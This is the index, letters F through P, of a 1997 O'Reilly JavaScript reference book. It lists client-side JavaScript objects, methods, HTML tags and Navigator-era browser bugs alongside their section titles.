JavaScript : Including JavaScript Files
reading/writing : What JavaScript Can't Do
FileUpload element
Form Elements
Security Holes and Security Hobbles
Security Hobbles in Navigator 3.0
FileUpload
FileUpload.blur()
FileUpload.focus()
FileUpload.form
FileUpload.name
FileUpload.onblur()
FileUpload.onchange()
FileUpload.onfocus()
FileUpload.select()
FileUpload.type
FileUpload.value
Windows platform bug : FileUpload bug
fixed() : String.fixed()
flavor (see version)
floating-point data types
Numbers
parseFloat()
floating-point literals
Still More Features
Floating-Point Literals
converting to strings
Conversion of floating-point values...
Converting Strings to Numbers
floor() : Math.floor()
flushing output : Flushing Generated Output
focus()
The Window Object
Other Window Programming Techniques
Element.focus()
Window.focus()
fontcolor() : String.fontcolor()
fonts (see String object)
fontsize() : String.fontsize()
FOR attribute
Event Handlers in <SCRIPT> Tags
Scripts
for statement : for
for/in statement
Miscellaneous Differences
Exploring JavaScript
for...in
The JavaScript Name Space
with associative arrays : Objects as Associative Arrays
foreground color : Document.fgColor
foreground color, browser : Document Properties
Form object
Forms and Form Elements
Interact with Document Content
The Form Object
Form
Form.action
Form.elements[]
Form.encoding
Form.method
Form.onreset()
Form.onsubmit()
Form.reset()
Form.submit()
Form.target
form property : Form Elements
for Element object : Element.form
<FORM> tags
The Form Object
Naming Forms and Form Elements
Form
forms
Forms and Form Elements
Form
Navigator 2.0 bugs : Images and form event handlers
verifying input from
Interact with Document Content
Form Verification Example
forms[] property
The Form Object
Naming Forms and Form Elements
Document.forms[]
Forward button : History.forward()
forward()
The History Object
History.forward()
Frame object : Frame
overwriting properties : Frame properties overwrite others
<FRAME> tags : Window and Frame Names
frames
Control the Browser
Windows and Frames
Frame Programming Techniques
Frame
borderless : Frame Programming Techniques
event handlers bug : Event handlers in regenerated documents
scrolling contents : Other Window Programming Techniques
frames(] property : Window.frames[]
<FRAMESET> tags
Frame properties overwrite others
Scripts in framesets
frames[] property : Windows and Frames
function (keyword)
Defining and Invoking Functions
Functions as Data Types
The Function() Constructor
function keyword : The JavaScript Name Space
Function object
The Function Object
Function
Function.arguments[]
Function.caller
Function.prototype
Function.toString()
function statement
function
Defining and Invoking Functions
Function()
The Function() Constructor
Conversions to Objects
Function
functions
Functions
Functions
anonymous (temporary) : The Function() Constructor
arguments[] property : The arguments[] Array
caller property : The caller Property
comparing
Equality (==)
Comparing Strings and Functions
constructor : Creating Arrays
constructor functions
Core Language Changes
The JavaScript Name Space
constructors : Creating New Objects with Constructors
converting (see converting)
copying and passing : Copying and Passing Strings and Fun...
defining
function
Defining and Invoking Functions
event handlers
Event Handlers
JavaScript and Events
event handlers as
Event Handlers as Functions
Event Handlers
execution order of : Functions
function calls
Function Call Operator
Expression Statements
multiple scripts and : The <SCRIPT> Tag
return statement
return
Defining and Invoking Functions
tainting : Data Tainting in JavaScript

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

G

Gamelan web page : Examples and Links for Further Expl...
garbage collection
The delete Operator
Garbage Collection
Internet Explorer 3.0 and : Garbage Collection
get method : Form.method
getClass()
The JavaClass Object
Java Field Values versus Method Ret...
getClass()
getDate() : Date.getDate()
getDay() : Date.getDay()
getHours() : Date.getHours()
getMember()
The JSObject Class
JSObject.getMember()
getMinutes() : Date.getMinutes()
getMonth() : Date.getMonth()
gets operator (see assignment operator)
getSeconds() : Date.getSeconds()
getSlot()
The JSObject Class
JSObject.getSlot()
getTime() : Date.getTime()
getTimezoneOffset() : Date.getTimezoneOffset()
getVolume() : LiveAudio
getWindow()
The JSObject Class
JSObject.getWindow()
getYear() : Date.getYear()
GIF images : Non-HTML Documents
global variables
Variable Declaration
The JavaScript Name Space
Variable Scope
Shortcomings of Garbage Collection ...
Go button : History.go()
Go menu (see History object)
go()
History.go() Doesn't Work with Frames
Object Model Differences
The History Object
History.go()
GotoViewPoint() : Live3D
graphics
What JavaScript Can't Do
greater than (>) operator
Greater Than (>)
String Operators
greater than or equal (>=) operator
Greater Than or Equal (>=)
String Operators

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

H

hash property : URL.hash
<HEAD> tags
Scripts
Event Handlers
header
User-Agent : Compatibility Through CGI Scripts
HEIGHT attribute
Images and form event handlers
Other Image Techniques
Image.height
height property : Other Image Properties
for Image object : Image.height
help : Official Netscape Documentation
hexadecimal literals (see colors) : Octal and Hexadecimal Literals
for colors (see colors)
hexadecimal numbers : Converting Strings to Numbers
Hidden element
Form Elements
Hidden
Hidden.form
Hidden.name
Hidden.type
Hidden.value
HideObject() : Live3D
hiding scripts from browsers
Comments
Hiding Scripts from Old Browsers
hierarchy
JSObject object : The JSObject Class
hierarchy, object : The JavaScript Object Hierarchy
History object
History.go() Doesn't Work with Frames
The History Object
Security Holes and Security Hobbles
Security Hobbles in Navigator 3.0
History
History.back()
History.current
History.forward()
History.go()
History.length
History.next
History.previous
history property
The History Object
Window.history
history, browsing
The History Object
JavaScript and Security
History
hobbles, security : Security Holes and Security Hobbles
host property : URL.host
hostname property : URL.hostname
hours
Date.getHours()
Date.setHours()
<HR> tag : Flushing Generated Output
HREF attribute : String.link()
href property
The Location Object
URL.href
HSPACE attribute : Image.hspace
hspace property
Other Image Properties
Image.hspace
HTML (Hypertext Markup Language)
comments
Comments
Hiding Scripts from Old Browsers
dynamic : Dynamic HTML
JavaScript entities
JavaScript Entities
JavaScript Entity Execution
links (see links)
parsing process : Scripts
HTML attributes
ACTION : Form.action
ALINK
Document Properties
Document.alinkColor
BACKGROUND : Other Image Techniques
BGCOLOR : Document Properties
BORDER : Image.border
COLOR
Document.fgColor
String.fontcolor()
ENDTIME : LiveAudio
EVENT
Event Handlers in <SCRIPT> Tags
Scripts
FOR
Event Handlers in <SCRIPT> Tags
Scripts
HEIGHT
Other Image Techniques
Image.height
HEIGHT and WIDTH : Images and form event handlers
HREF : String.link()
HSPACE : Image.hspace
LANGUAGE
Exploring JavaScript
The LANGUAGE Attribute
The LANGUAGE Attribute
LINK : Document Properties
LOWSRC : Other Image Properties
MAYSCRIPT : The MAYSCRIPT attribute
NAME (see NAME attribute)
onBlur : Window.onblur()
onClick : Executable Content: JavaScript in a...
onFocus : Window.onfocus()
onLoad : Window.onload()
onUnload : Window.onunload()
SRC
Core Language Changes
Including JavaScript Files
Scripts
Included Files and Compatibility wi...
Compatibility Through CGI Scripts
TARGET
Window and Frame Names
Frame Programming Techniques
Form.target
Link.target
TEXT : Document Properties
VALUE : Form Element Names and Values
VLINK : Document Properties
VSPACE : Image.vspace
WIDTH
Other Image Techniques
Image.width
HTML tags : Exploring JavaScript
<FORM> tags : Form
>FORM> : Naming Forms and Form Elements
<A>
The Anchor Object
Anchor
String.anchor()
<APPLET>
Content disappears upon resize
The JavaObject Object
<AREA>
Miscellaneous Changes
The Link Object
Area
<B> : String.bold()
<BASEFONT> : String.fontsize()
<BIG> : String.big()
<BLINK> : String.blink()
<BODY> : Document Properties
<BR> : Flushing Generated Output
<EMBED>
The JavaObject Object
Working with Plug-Ins
Document.embeds[]
<FORM> : The Form Object
<FRAME> : Window and Frame Names
<FRAMESET>
Frame properties overwrite others
Scripts in framesets
<HEAD>
Scripts
Event Handlers
<HR> : Flushing Generated Output
<I> : String.italics()
<IMG>
Images in tables
Images and form event handlers
Manipulate Embedded Images
Other Image Properties
Document.images[]
Image
<LAYER> : Dynamic HTML
<MAP> : The Link Object
<NOSCRIPT> : <NOSCRIPT>
<OPTION> : Form Element Names and Values
<P> : Flushing Generated Output
<SCRIPT>
Document.write() in nested tables
Frame properties overwrite others
Executable Content: JavaScript in a...
The <SCRIPT> Tag
Hiding Scripts from Old Browsers
<SELECT> : Form Element Names and Values
<SMALL> : String.small()
<SUB> : String.sub()
<SUP> : String.sup()
<TEXTAREA> : Textarea
<TITLE>
Document Properties
Document.title
<TT> : String.fixed()
<STRIKE> : String.strike()
&{} with
Core Language Changes
JavaScript Entities
<!-- --> (comment tags)
Comments
Hiding Scripts from Old Browsers
http: protocol specifier : Object Model Differences
hypertext links (see links)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

I

<I> tags : String.italics()
identifiers (see names)
if statement (see also conditional (?:) operator)
if
Image object
Images in tables
Image Manipulation
Image
Image.border
Image.complete
Image.height
Image.hspace
Image.lowsrc
Image.name
Image.onabort()
Image.onerror()
Image.onload()
Image.src
Image.vspace
Image.width
<IMG> tag
Images in tables
Images and form event handlers
Manipulate Embedded Images
Other Image Properties
Image
Image() : Image Manipulation
images
Manipulate Embedded Images
Non-HTML Documents
Special Effects with Images
background : Other Image Techniques
image replacement example : Image Replacement Example
Netscape 3.0 enhancements : Image Manipulation
images[] property
Images in tables
Special Effects with Images
Document.images[]
immutable strings : Mutable string values
in clause (see for/in statement)
including JavaScript files : Including JavaScript Files
increment (++) operator : Increment (++)
indentation of code
Whitespace and Line Breaks
if
index property : Option.index
index, array : Arrays
indexOf()
for String object : String.indexOf()
inequality (!=) operator : Inequality (!=)
infinite loops
Infinite Loops in JavaScript
Security Hobbles in Navigator 3.0
infinity (Inf)
Special Numeric Values
Number.POSITIVE_INFINITY
initialization (see constructor functions)
initialization for web page : onLoad() and onUnload() Event Handlers
input, verifying : Interact with Document Content
instances : Classes in JavaScript
integer literals
Integer Literals
parseInt()
interacting
with applets
Interacting with Applets
Interacting with Applets
with document content : Interact with Document Content
with users
Interact with the User
Using the Java System Classes
Internet Explorer
JavaScript 1.0 and 1.1
Client-Side JavaScript
bugs in : Known JavaScript Bugs in Internet E...
case sensitivity : Case Sensitivity in Internet Explorer
FOR and EVENT attributes
Event Handlers in <SCRIPT> Tags
Scripts
for/in statement and : for...in
Internet Explorer 3.0
cookies : Cookies in Internet Explorer 3.0
incompatibility : JavaScript Incompatibilities in Int...
Java language and : Working with Java in Internet Explorer
security
Security
Security in Internet Explorer
invoking functions (see functions)
isNan()
Core Language Changes
Supported but Nonfunctional Properties
isNaN()
isNaN() : Special Numeric Values
ISO8859-1 encoding
Escape Sequences in String Literals
String Operators
isPlaying() : LiveAudio
isPuased() : LiveAudio
isReady() : LiveAudio
italics() : String.italics()
iterations (see loops)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

J

Java programming language
JavaScript Is Not Java Simplified
Internet Explorer and : Working with Java in Internet Explorer
reserved words : Reserved Words
using JavaScript from : Using JavaScript from Java
java property
java
Packages.java
JavaArray object
The JavaArray Object
JavaArray
JavaArray.length
JavaClass object
The JavaClass Object
JavaClass
javaEnabled property : Navigator.javaEnabled()
javaEnabled()
Miscellaneous Changes
The Navigator, MimeType, and Plugin...
JavaMethod object
The JavaMethod Object
JavaMethod
JavaObject object
The JavaObject Object
The JavaObject Object
JavaScript Conversion of JavaObjects
JavaObject
JavaPackage object
The JavaPackage Object
JavaPackage
JavaScript
browsers that don't support : Compatibility with Non-JavaScript B...
data tainting in : Data Tainting in JavaScript
documentation and resources : Discussion of JavaScript
name space : The JavaScript Name Space
reserved words : Reserved Words
Style Sheets : Dynamic HTML
version : Compatibility with JavaScript 1.0 B...
versions of : Flavors and Versions of JavaScript
javascript: protocol specifier
Exploring JavaScript
JavaScript in URLs
JavaScript URL Execution
java_30 file : Compiling applets that use the JSOb...
join()
Array Methods
Array.join()
.js files
Core Language Changes
Including JavaScript Files
JSI (JavaScript index) : Examples and Links for Further Expl...
JSObject class : The JSObject Class
JSObject object
JSObject
JSObject.call()
JSObject.eval()
JSObject.getMember()
JSObject.getSlot()
JSObject.removeMember()
JSObject.setMember()
JSObject.setSlot()
JSObject.toString()
JSRef distribution : Standalone JavaScript

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

K

keystroke events : Dynamic HTML
keywords (see reserved words)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

L

LANGUAGE attribute
Exploring JavaScript
The LANGUAGE Attribute
The LANGUAGE Attribute
lastIndexOf()
lastIndexOf()
String.lastIndexOf()
lastModified property
Document Properties
Document.lastModified
Latin-1 encoding
Escape Sequences in String Literals
String Operators
<LAYER> tags : Dynamic HTML
length
array
Creating Arrays
Array Length Property
limits on code lines : Line length limit
string : Strings
length property
for anchors[] array : The Anchor Object
for Array object : Array.length
for arrays : Array Length Property
for History object
The History Object
History.length
for JavaArray object : JavaArray.length
for Select element
Forms and Form Elements
Select.length
for String object : String.length
for Window object : Window.length
for Navigator 2.0 : Arrays in Navigator 2.0
for strings : Strings
less than (<) operator
Less Than (<)
String Operators
less than or equal (<=) operator : Less Than or Equal (<=)
less than or equal(<=) operator : String Operators
lifetime
cookie : Syntax of the Set-Cookie HTTP Respo...
cookies : An Overview of Cookies
variable : Window and Variable Lifetime
limits on size, Navigator 2.0 : Line length limit
line breaks (see whitespace)
line length limit : Line length limit
LINK attribute : Document Properties
Link object
The Link Object
Link
Link.hash
Link.host
Link.hostname
Link.href
Link.onclick()
Link.onmouseout()
Link.onmouseover()
Link.pathname
Link.port
Link.protocol
Link.search
target property : Link.target
link() : String.link()
linkColor property
Document Properties
Document.linkColor
links : The Link Object
color of
Document.alinkColor
Document.linkColor
Document.vlinkColor
colors for : Document Properties
onMouseOut()
The Link Object
Ignore the Problem
onMouseOver()
Status and defaultStatus
The Status Line
The Link Object
selecting by random : The Link Object
links[] property
The Link Object
Document.links[]
literals
Literals
comparing : Equality (==)
string (see string literals)
Live3D plug-in : Live3D
LiveAudio plug-in : LiveAudio
LiveConnect
LiveConnect Bugs
LiveConnect
Interact with Applets
LiveConnect: JavaScript and Java
data conversion
LiveConnect Data Conversion
Data Conversion
LiveVide plug-in : LiveVideo
LiveWire : Server-Side JavaScript
ln10 constant : Math.LN10
ln2 constant : Math.LN2
LoadScene() : Live3D
local variables
Variable Declaration
var
Variable Scope
Location object
The Location Object
Control the Browser
The Location Object
Location
Location.hash
Location.host
Location.hostname
Location.href
Location.pathname
Location.port
Location.protocol
Location.reload()
Location.replace()
Location.search
location property
Document Properties
Document.location
for Document object : The Location Object
for Window object
The Location Object
Window.location
location.href property : Window.open() method
log() : Math.log()
log2e constant : Math.LOG2E
loge constant : Math.LOG10E
logical operators : Logical Operators
looking up variables : with
loops : while
for/in statement
Miscellaneous Differences
Exploring JavaScript
for...in
Objects as Associative Arrays
The JavaScript Name Space
infinite
Infinite Loops in JavaScript
Security Hobbles in Navigator 3.0
lowsrc property
Other Image Properties
Image.lowsrc
Lynx browser : Hiding Scripts from Really Old Browsers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

M

Macintosh platforms : Window.open() method
data tainting on : Enabling Data Tainting in Navigator 3.0
magic cookies (see cookies)
mailing list on JavaScript : Discussion of JavaScript
mailto: protocol specifier
Security Holes and Security Hobbles
Security Hobbles in Navigator 3.0
manipulating images (see images)
<MAP> tags : The Link Object
Math object
Arithmetic and Mathematical Functions
Math
Math.abs()
Math.acos()
Math.asin()
Math.atan()
Math.atan2()
Math.ceil()
Math.cos()
Math.E
Math.exp()
Math.floor()
Math.LN10
Math.LN2
Math.log()
Math.LOG10E
Math.LOG2E
Math.max()
Math.min()
Math.PI
Math.pow()
Math.random()
Math.round()
Math.sin()
Math.sqrt()
Math.SQRT1_2
Math.SQRT2
Math.tan()
mathematical functions : Arithmetic and Mathematical Functions
arithmetic operators
Arithmetic and Mathematical Functions
Arithmetic Operators
computation : Still More Features
max() : Math.max()
MAX_VALUE constant : Number.MAX_VALUE
MAYSCRIPT attribute : The MAYSCRIPT attribute
memory
management in Navigator 2.0 : Per-Page Memory Management in Navig...
reclaiming (see garbage collection)
setTimeout() bug : setTimeout() memory leak
+ operator and : Workarounds for Navigator 2.0
method property
Form method property
Form.method
methods
Functions
Methods
instance methods : Classes in JavaScript
JavaMethod object
The JavaMethod Object
Java Field Values versus Method Ret...
JavaMethod
for manipulating arrays : Array Methods
overloaded, LiveConnect and : Problems with overloaded methods
special, for every object : Special Object Methods
static (class) : Classes in JavaScript
tainting : Data Tainting in JavaScript
Microsoft's ActiveX : Calling JavaScript from Applets
milliseconds (see date and time; seconds)
MIME types : Non-HTML Documents
MimeType object
Miscellaneous Changes
The MimeType Object
MimeType
MimeType.description
MimeType.enabledPlugin
MimeType.suffixes
MimeType.type
mimeTypes[] property
Still More Features
Navigator.mimeTypes[]
for Navigator object : The MimeType Object
min() : Math.min()
minus (-) operator : Subtraction (-)
minutes
Date.getMinutes()
Date.setMinutes()
MIN_VALUE constant : Number.MIN_VALUE
modulo (%) operator : Modulo (%)
month : Date.setMonth()
months : Date.getMonth()
more than operator (see greater than operator)
MorphObject() : Live3D
mouse events (see event handlers; onClick(); onMouseOver())
movies (see LiveVideo plug-in)
multidimensional arrays : Multidimensional Arrays
multiple
browser windows : Multiple Windows and Explicit Windo...
running scripts : JavaScript and Threads
scripts in document : The <SCRIPT> Tag
multiplication (*) operator : Multiplication (*)
multithreading
What JavaScript Can't Do
JavaScript and Threads
mutable string values : Mutable string values

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

N

\n
whitespace, newline characters : Escape Sequences in String Literals
NAME attribute
for <APPLET> tags
The JavaObject Object
Interacting with Applets
for <EMBED> tags : The JavaObject Object
for form elements
Form Element Names and Values
Naming Forms and Form Elements
for <FRAME> tags : Window and Frame Names
for <IMG> tag : Images in tables
name property : Other Window Programming Techniques
for Element object : Element.name
for form elements : Form Element Names and Values
for Image object : Image.name
for Plugin object : Plugin.name
for Window object : The Window Object
for Windows object : Window.name
name space : The JavaScript Name Space
names
case sensitivity : Case Sensitivity
names (identifiers) : Identifiers
browser window : Window and Frame Names
forms and form elements : Naming Forms and Form Elements
function : The Function() Constructor
function arguments : The arguments[] Array
of properties, as strings : Objects as Associative Arrays
reserved words : Reserved Words
for standard colors : JavaScript and HTML Color Names and...
naming
case conventions
Classes in JavaScript
Event Handlers in JavaScript
NaN (Not-a-Number) : Number.NaN
NaN (not-a-number)
Core Language Changes
Special Numeric Values
Converting Strings to Numbers
isNaN()
equality and : Inequality (!=)
navigate()
The Location Object
Window.navigate()
Navigator 2.0 : Client-Side JavaScript
arrays in : Arrays in Navigator 2.0
bugs in : Commonly Encountered JavaScript Bug...
differences from 3.0 : Differences between Navigator 2.0 a...
memory management : Per-Page Memory Management in Navig...
security holes/hobbles : Security Holes and Security Hobbles
SRC attribute and : Included Files and Compatibility wi...
Navigator 3.0
JavaScript Is Not Java Simplified
Client-Side JavaScript
bugs in : Known JavaScript Bugs in Navigator 3.0
documentation : Official Netscape Documentation
enabling data tainting : Enabling Data Tainting in Navigator 3.0
image manipulation : Image Manipulation
JavaScript HTML entity
JavaScript Entities
JavaScript Entity Execution
reference counting : Reference Counting in Navigator 3.0
scripts exclusively for : The LANGUAGE Attribute
security : JavaScript Security
security hobbles in : Security Hobbles in Navigator 3.0
special numeric constants : Special Numeric Values
Navigator 4.0 : A Preview of Navigator 4.0
Navigator object
Still More Features
The Navigator, MimeType, and Plugin...
navigator
Navigator
Navigator.appCodeName
Navigator.appName
Navigator.appVersion
Navigator.javaEnabled()
Navigator.mimeTypes[]
Navigator.plugins[]
Navigator.plugins.refresh()
Navigator.taintEnabled()
Navigator.userAgent
navigator property
The Navigator, MimeType, and Plugin...
navigator
negation (-) operator : Unary Negation (-)
negative infinity (-Inf)
Special Numeric Values
Number.NEGATIVE_INFINITY
nested arrays (see multidimentional arrays)
Netscape
Standalone JavaScript
documentation : Official Netscape Documentation
netscape property
netscape
Packages.netscape
networking
Java activity and : Java network activity can cause exc...
new operator
Data Type Wrapper Objects
Object Creation Operator (new)
Creating New Objects with Constructors
Creating Arrays
JavaClass object and : The JavaClass Object
newline characters (see whitespace)
newsgroups, JavaScript : Discussion of JavaScript
next property : History.next
no/yes (see Boolean data type)
non-contiguous array elements (see sparse arrays)
non-HTML documents : Non-HTML Documents
<NOSCRIPT> tags : <NOSCRIPT>
not (!) operator : Logical Not (!)
not (~) operator : Bitwise Not (~)
not equal operator (see inequality operator)
not-a-number (NaN)
Core Language Changes
Special Numeric Values
Converting Strings to Numbers
isNaN()
equality and : Inequality (!=)
Not-a-Number (NaN) : Number.NaN
null (keyword)
The null Literal
Null
breaking cyclical references : Shortcomings of Garbage Collection ...
converting
Conversions to Strings
Conversions to Numbers
Conversions to booleans
Conversions to Objects
testing for existence with : Event Handlers
Number object
Number
Number.MAX_VALUE
Number.MIN_VALUE
Number.NaN
Number.NEGATIVE_INFINITY
Number.POSITIVE_INFINITY
Number.prototype
Number.toString()
Number.valueOf()
Number() : Conversions to Objects
numbers
Numbers
Converting Strings to Numbers
binary : Bitwise Operators
converting (see converting)
converting to
parseFloat()
parseInt()
floating-point
Conversion of floating-point values...
Still More Features
Floating-Point Literals
Numbers
parseFloat()
hexadecimal : Octal and Hexadecimal Literals
integers
Integer Literals
parseInt()
JavaScript range of
Number.MAX_VALUE
Number.MIN_VALUE
NaN (see NaN)
octal
Octal and Hexadecimal Literals
Escape Sequences in String Literals
psuedo-random : Math.random()
size of : Floating-Point Literals
numeric context : Conversions to Numbers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

O

obects
with statement and : with
object context : Conversions to Objects
Object object
Object
Object.assign()
Object.constructor
Object.eval()
Object.prototype
Object.toString()
Object.valueOf()
Object()
Conversions to Objects
Conversions to and from Objects
objects
Objects
The JavaScript Object Hierarchy
access operators : Array and Object Access Operators
arrays as : Array/Object Dual Nature
as associative arrays : Objects as Associative Arrays
classes for (see classes)
comparing : Equality (==)
converting (see converting)
creation operator : Object Creation Operator (new)
for/in statement : for...in
functions as : Functions are objects
hidden (see Hidden element)
JavaObject object
The JavaObject Object
JavaScript Conversion of JavaObjects
prototypes : Object Prototypes
read-only : The assign() Method
reference counting : Reference Counting in Navigator 3.0
special methods for : Special Object Methods
testing for existence of : Event Handlers
wrapper objects
Data Type Wrapper Objects
Wrapper Objects
octal literals
Octal and Hexadecimal Literals
Escape Sequences in String Literals
octal numbers : Converting Strings to Numbers
off-screen images : Off-Screen Images and Caching
off/on (see Boolean data type)
on/off (see Boolean data type)
onabort() : Image.onabort()
onAbort() : Image Event Handlers
onAnchorClick() : Live3D
onBlur attribute : Window.onblur()
onblur() : The Window Object
for Element object : Element.onblur()
for Window object : Window.onblur()
onBlur()
onBlur() and onFocus()
Form Elements
onchange()
for Element object : Element.onchange()
for FileUpload element : FileUpload.onchange()
for Password element : Password.onchange()
for Select element : Select.onchange()
for Text element : Text.onchange()
for Textarea element : Textarea.onchange()
onClick attribute
Executable Content: JavaScript in a...
Event Handlers in JavaScript
onClick()
onClick() event handlers ignored
The Link Object
for Button element : Button.onclick()
for Checkbox element : Checkbox.onclick()
for Reset element : onClick() in reset button
onclick() : Forms and Form Elements
for Element object : Element.onclick()
for Link object : Link.onclick()
for Radio element : Radio.onclick()
for Reset element : Reset.onclick()
for Submit element : Submit.onclick()
onerror()
The Window Object
Opening and Closing Windows
for Window object : Window.onerror()
onError()
Image Event Handlers
Image.onerror()
onFocus attribute : Window.onfocus()
onFocus()
onBlur() and onFocus()
Form Elements
onfocus() : The Window Object
for Element object : Element.onfocus()
for Window object : Window.onfocus()
onLoad attribute : Window.onload()
onLoad()
Event Handlers
Image Event Handlers
for Window object
onLoad() event handler called early
Window.onload()
onload() : Image.onload()
onMouseMove() : Live3D
onMouseOut()
Miscellaneous Changes
The Link Object
Ignore the Problem
Link.onmouseout()
onMouseOver()
Status and defaultStatus
The Status Line
The Link Object
Link.onmouseover()
onreset()
Forms and Form Elements
Form.onreset()
onReset() : The Form Object
onSubmit()
The Form Object
Form.onsubmit()
onUnload attribute : Window.onunload()
onUnload()
Dialogs in onUnload()
onLoad() and onUnload() Event Handlers
onunload()
for Window object : Window.onunload()
open()
The Window Object
Object Model Differences
Scope of event handlers
Opening and Closing Windows
The write() Method
for Document object : Document.open()
for Window object
Window Size on Unix Platforms
Window.open() method
Multiple Windows and Explicit Windo...
Window.open()
opener attribute : Other Window Programming Techniques
opener property
The Window Object
Multiple Windows and Explicit Windo...
The Least-Common-Denominator Approach
Defensive Coding
Window.opener
operands : Number of Operands
operators : Operator Overview
access : Array and Object Access Operators
arithmetic
Arithmetic and Mathematical Functions
Arithmetic Operators
associativity of : Operator Associativity
bitwise : Bitwise Operators
combined with assignment : Assignment with Operation
comparison : Comparison Operators
data types with : Type of Operands
logical : Logical Operators
precedence of : Operator Precedence
string : String Operators
types of : Number of Operands
Option element
Form Elements
Form Element Names and Values
Option
Option.defaultSelected
Option.index
Option.selected
Option.text
Option.value
<OPTION> tags : Form Element Names and Values
Option()
Forms and Form Elements
The Select and Option objects
options[] property
Forms and Form Elements
Removing Elements from an Array
The Select and Option objects
Select.options[]
or (^) operator : Bitwise Xor (^)
or (|) operator : Bitwise Or (|)
or (||) operator
Miscellaneous Differences
Logical Or (||)
order
of array elements, reversing : Array Methods
of code execution : Execution of JavaScript Programs
for/in statement looping : for...in
Netscape 2.0 buttons and checkboxes : Backward radio and checkbox arrays
of operations : Operator Precedence
output
flushing : Flushing Generated Output
overloaded methods and LiveConnect : Problems with overloaded methods
overwriting
array elements : Arrays in Navigator 2.0
objects : The assign() Method
scripts : Overwriting the current script
top-level variables : var

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

P

<P> tags : Flushing Generated Output
Packages object
Packages
Packages.java
Packages.netscape
Packages.sun
Packages property : The JavaPackage Object
packages, Java
The JavaPackage Object
JavaPackage
pages
cookies, association with : An Overview of Cookies
displaying
Control the Browser
generating content for (see write())
initializing for : onLoad() and onUnload() Event Handlers
loading (see location property)
Navigator 2.0 memory management : Per-Page Memory Management in Navig...
non-JavaScript : Falling Back to a Non-JavaScript Page
reloading/replacing : The Location Object
searching : The Link Object
parameters, function (see arguments, function)
parent property
Windows and Frames
Window.parent
parentheses ()
Functions
Objects
Operator Precedence
Function Call Operator
Defining and Invoking Functions
parse()
for Date object : Date.parse()
parseFloat()
Converting Strings to Numbers
parseFloat()
parseInt()
Converting Strings to Numbers
parseInt()
parsing HTML : Scripts
passing strings and functions : Copying and Passing Strings and Fun...
Password element
Form Elements
Security Hobbles in Navigator 3.0
Password
Password.blur()
Password.defaultValue
Password.focus()
Password.form
Password.name
Password.onblur()
Password.onchange()
Password.onfocus()
Password.select()
Password.type
Password.value
path attribute (cookies) : Syntax of the Set-Cookie HTTP Respo...
pathname property : URL.pathname
pause() : LiveAudio
performance
caching JavaScript code : Including JavaScript Files
illusion of multithreading : JavaScript and Threads
infinite loops
Infinite Loops in JavaScript
Security Hobbles in Navigator 3.0
memory management : Per-Page Memory Management in Navig...
reference counting and : Shortcomings of Garbage Collection ...
+ operator and : Workarounds for Navigator 2.0
persistence : Window and Variable Lifetime
pi (pi) constant : Math.PI
plaftorms
Macintosh : Window.open() method
plain-text documents : Non-HTML Documents
platforms
compatibility workarounds : Platform-Specific Workarounds
Unix
Window Size on Unix Platforms
Window.open() method
Document Properties
Windows
Form Bugs on Windows Platforms
eval()
play()
LiveAudio
LiveVideo
plug-ins
LiveConnected Navigator Plug-Ins
The JavaObject Object
Working with Plug-Ins
MimeType.enabledPlugin
Navigator.plugins[]
Navigator.plugins.refresh()
Internet Explorer and : Interacting with Plug-Ins and Syste...
Plugin obect : Miscellaneous Changes
Plugin object
The Plugin Object
Plugin
Plugin.description
Plugin.filename
Plugin.name
plugins[] property
Still More Features
Document.plugins
Navigator.plugins[]
for Navigator object : The Plugin Object
plus (+) operator
Strings
Addition (+)
Conversions to Strings
port property : URL.port
positive infinity (see infinity)
post method : Form.method
pow() : Math.pow()
precedence, operator : Operator Precedence
+ operator and : String Operators
